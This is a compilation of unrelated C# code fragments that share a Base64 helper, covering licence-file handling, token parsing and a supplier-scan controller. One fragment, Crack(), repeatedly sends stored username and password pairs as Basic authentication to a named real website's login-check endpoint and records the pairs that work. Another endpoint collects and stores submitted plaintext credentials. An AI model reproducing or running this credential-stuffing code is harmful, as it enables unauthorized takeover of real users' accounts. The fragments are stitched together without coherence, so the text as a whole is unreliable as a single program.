/// <summary> /// 解析授权文件获取到授权信息 /// </summary> /// <param name="filePath"></param> /// <returns></returns> public LicenceModel GetLicenceModel(string filePath) { if (!FileHelper.IsExistFile(filePath)) { throw new CustomException("未找到授权文件!"); } licenceObj = new LicenceModel(); using (FileStream filestrem = new FileStream(filePath, FileMode.Open)) { using (StreamReader reader = new StreamReader(filestrem)) { string typeStr = AESEncrypt.Decrypt(reader.ReadLine()); licenceObj.LicenceType = (LicenseTypeEnum)Enum.Parse(typeof(LicenseTypeEnum), typeStr, true); string keyStr = reader.ReadLine(); licenceObj.PublicKey = AESEncrypt.Decrypt(keyStr); licenceObj.Licence = reader.ReadLine(); } } string licenceStr = Base64Encrypt.Decrypt(licenceObj.Licence); string oStr = RSAEncryptExt.DecryptString(licenceStr, licenceObj.PublicKey); string[] tempStrs = oStr.Split('&'); licenceObj.MCode = tempStrs[0]; string[] dateStrs = tempStrs[1].Split('|'); licenceObj.AllData = dateStrs[0] == "true"; licenceObj.Date = Ext.UnixTimeToTime(dateStrs[1]); string[] userNumStrs = tempStrs[2].Split('|'); licenceObj.AllUser = userNumStrs[0] == "true"; licenceObj.UserNum = Convert.ToInt32(userNumStrs[1]); return(licenceObj); }
/// <summary> /// 根据机器的IP与Mac地址信息生成机器码 /// 根据不同的授权类型传入不同的值即可。 /// </summary> /// <param name="ipStr">Ip的字符串</param> /// <param name="macStr">Mac地址的字符串</param> /// <param name="lisenceType">授权类型</param> /// <returns></returns> public string CreateMCode(string ipStr, string macStr, LicenseTypeEnum lisenceType) { //根据不同的授权类型,进行不同的判定 switch (lisenceType) { case LicenseTypeEnum.Ip: macStr = "notwhitmac"; break; case LicenseTypeEnum.Mac: ipStr = "notwhitip"; break; default: ipStr = ipStr ?? "notwhitip";; macStr = macStr ?? "notwhitmac"; break; } string mCode = ""; mCode = DESEncrypt.Encrypt(macStr, ipStr); mCode = MD5Encrypt.GetMD5_16(mCode); mCode = Base64Encrypt.Encrypt(mCode); return(mCode); }
/// <summary> /// 从request请求中读取Token /// </summary> /// <returns></returns> public static PrivilegeIdentity Read(string privilege) { try { //将获取的标头值进行base64解码并转化为UTF-8 privilege = Base64Encrypt.FromBase64(privilege); if (string.IsNullOrEmpty(privilege)) { return(null); } string[] prvlgs = null; //获取Request请求表头信息 if (!string.IsNullOrEmpty(privilege)) { prvlgs = privilege.Split(new string[] { "|" }, StringSplitOptions.RemoveEmptyEntries); } if (prvlgs == null || prvlgs.Length != 2) { return(null); } return(new PrivilegeIdentity(prvlgs[0].Trim(), prvlgs[1].Trim())); } catch { return(null); } }
/// <summary> /// 生成认证码内容 /// </summary> /// <returns></returns> public string CreateLicence(LicenceModel model) { string datePart = model.AllData.ToString().ToLower() + "|" + Ext.GetUnixTime(model.Date); string userNumPart = model.AllUser.ToString().ToLower() + "|" + model.UserNum; string oStr = model.MCode + "&" + datePart + "&" + userNumPart; string licenceStr = RSAEncryptExt.EncryptString(oStr, model.PrivateKey); licenceStr = Base64Encrypt.Encrypt(licenceStr); return(licenceStr); }
private async static Task Crack() { try { const string url = "http://learning.cmr.com.cn/member/checkuser.asp?type=AD"; while (true) { var skipNo = Interlocked.Increment(ref skip); repository.SavePosition(skipNo); var crackUser = await repository.GetOne(skipNo); try { var baseAuth = string.Format("Basic {0}", Base64Encrypt.EncryptString(crackUser.UserName + ":" + crackUser.Password)); var strResponse = HttpUtility.Get(url, Encoding.UTF8, x => { x.Referer = "http://learning.cmr.com.cn/"; x.Headers["Authorization"] = baseAuth; }); //保存 repository.SaveSuccessUserInfo(new CmrUserInfo() { UserName = crackUser.UserName, Password = crackUser.Password, CreateDate = DateTime.Now }); Console.WriteLine(JsonUtility.Serialize(crackUser)); } catch (WebException) { Console.Write("."); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } }
/// <summary> /// 从request请求中读取Token /// </summary> /// <param name="authorization">request中Authorization</param> /// <returns></returns> public static TokenAuthIdentity Read(string authorization) { string authParameter = null; //获取Request请求表头信息 if (!string.IsNullOrEmpty(authorization) && authorization.IndexOf(" ") != -1) { authParameter = authorization.Substring(authorization.IndexOf(" ")); } if (string.IsNullOrEmpty(authParameter)) { return(null); } //将获取的标头值进行base64解码并转化为UTF-8 authParameter = Base64Encrypt.FromBase64(authParameter); if (string.IsNullOrEmpty(authParameter)) { return(null); } var authToken = authParameter.Split(':'); if (authToken.Length < 2) { return(null); } if (!int.TryParse(authToken[0], out int id) && id != 0) { return(null); } else if (authToken.Length == 3) { return(new TokenAuthIdentity(id, Base64Encrypt.FromBase64(authToken[1]), Base64Encrypt.FromBase64(authToken[2]))); } else { return(new TokenAuthIdentity(id, Base64Encrypt.FromBase64(authToken[1]))); } }
public ApiResponse <bool> UploadInfo(UploadInfoRequestDto request) { if (request == null || string.IsNullOrEmpty(request.Data)) { return(new ApiResponse <bool>().Failed(ResultEnum.ParameterError)); } //私钥解密 var rsa = new RSA(); var filePath = HttpContext.Server.MapPath(WebConfig.GetInstance().RSAPrivateKeyFile); string strDecrypt = rsa.Decrypt(request.Data, File.ReadAllText(filePath)); //Json反序列化 var dataObj = JsonUtility.Deserialize <UploadInfoRequest>(strDecrypt); if (string.IsNullOrEmpty(dataObj.AuthorizationString) || false == dataObj.AuthorizationString.Trim().StartsWith("Basic ")) { return(new ApiResponse <bool>().Failed(ResultEnum.ParameterError)); } //提取用户名和密码 string strBase64 = dataObj.AuthorizationString.Substring(6); var src = Base64Encrypt.DecryptString(strBase64); var userAndPwd = src.Split(new[] { ":" }, StringSplitOptions.RemoveEmptyEntries); if (userAndPwd.Length != 2) { return(new ApiResponse <bool>().Failed(ResultEnum.ParameterError)); } //持久化数据 var model = new CmrUser() { UserName = userAndPwd[0].Trim(), Password = userAndPwd[1].Trim() }; var result = CmrUserService.SaveOrUpdate(model); return(result); }
public string ToHeaderToken(string prefix) { return(prefix + " " + Base64Encrypt.ToBase64($"{Id}:{Base64Encrypt.ToBase64(Token)}:{Base64Encrypt.ToBase64(Permission)}")); }
/// <summary> /// 采购商扫一扫成客户 /// tim /// 2015-7-22 /// </summary> /// <param name="id"></param> /// <returns></returns> /// // [HttpPost] public ActionResult Scan(string obj) { BaseResult br = new BaseResult(); try { var id_des = Base64Encrypt.DecodeBase64(obj); var id_master = DESEncrypt.DecryptDES(id_des); if (!string.IsNullOrWhiteSpace(obj)) { //获取供应商信息 var ht = new Hashtable(); ht.Add("id_user_master", id_master); br = BusinessFactory.Supplier.Get(ht); if (!br.Success || br.Data == null) { br.Success = false; br.Message.Add("您所扫描的供应商不存在."); br.Level = ErrorLevel.Warning; return(Json(br)); } var gys = br.Data as Tb_Gys_Edit; if (gys.id_user_master.Equals(GetLoginInfo <long>("id_user_master"))) { br.Success = false; br.Message.Add("自己不能扫描关注自己."); br.Level = ErrorLevel.Warning; return(Json(br)); } //采购关系对象 Tb_Gys_Cgs_Check model = new Tb_Gys_Cgs_Check() { flag_form = GetLoginInfo <string>("flag_from"), flag_state = Gys_Cgs_Status.Apply, id_cgs = GetLoginInfo <long>("id_buyer"), id_gys = gys.id, rq_sq = DateTime.Now, id_user = GetLoginInfo <long>("id_user"), }; //删除关注关系 ht.Clear(); ht.Add("id_gys", model.id_gys); ht.Add("id_cgs", model.id_cgs); ht.Add("id_user", model.id_user); ht.Add("flag_from", model.flag_form); BusinessFactory.SupplierAttention.Delete(ht); //申请关注 br = BusinessFactory.BuyerAttention.Add(model); if (br.Success) { WriteDBLog(LogFlag.Base, br.Message); //获取采购商级别 ht.Clear(); ht.Add("id_gys", gys.id); ht.Add("flag_sys", 1); br = BusinessFactory.CustomerType.Get(ht); if (br.Success && br.Data != null) { var cgs_level = br.Data as Tb_Cgs_Level; //通过关注申请,直接成为客户 var gysmodel = new Tb_Cgs_Edit() { id = model.id_cgs, companyname = GetLoginInfo <string>("companyname"), id_cgs_level = cgs_level.id, flag_pay = 0, id_create = GetLoginInfo <long>("id_user"), id_edit = GetLoginInfo <long>("id_user") }; ht.Clear(); ht.Add("model", gysmodel); ht.Add("flag_from", model.flag_form); ht.Add("id_supplier", gys.id); br = BusinessFactory.SupplierAttention.Add(ht); if (br.Success) { WriteDBLog(LogFlag.Base, br.Message); } } else { br.Message.Clear(); br.Message.Add("供应商没有设置默认客户级别,无法扫描自动关注,请登录网站手动设置。"); br.Success = false; br.Level = ErrorLevel.Warning; } } } else { br.Message.Clear(); br.Message.Add("扫描的二维码不正确。"); br.Success = false; br.Level = ErrorLevel.Warning; } } catch (CySoftException ex) { br.Message.Clear(); br.Message.Add(ex.Message); br.Success = false; br.Level = ErrorLevel.Warning; } catch (Exception ex) { br.Message.Clear(); br.Message.Add(ex.Message); br.Success = false; br.Level = ErrorLevel.Warning; } return(Json(br)); }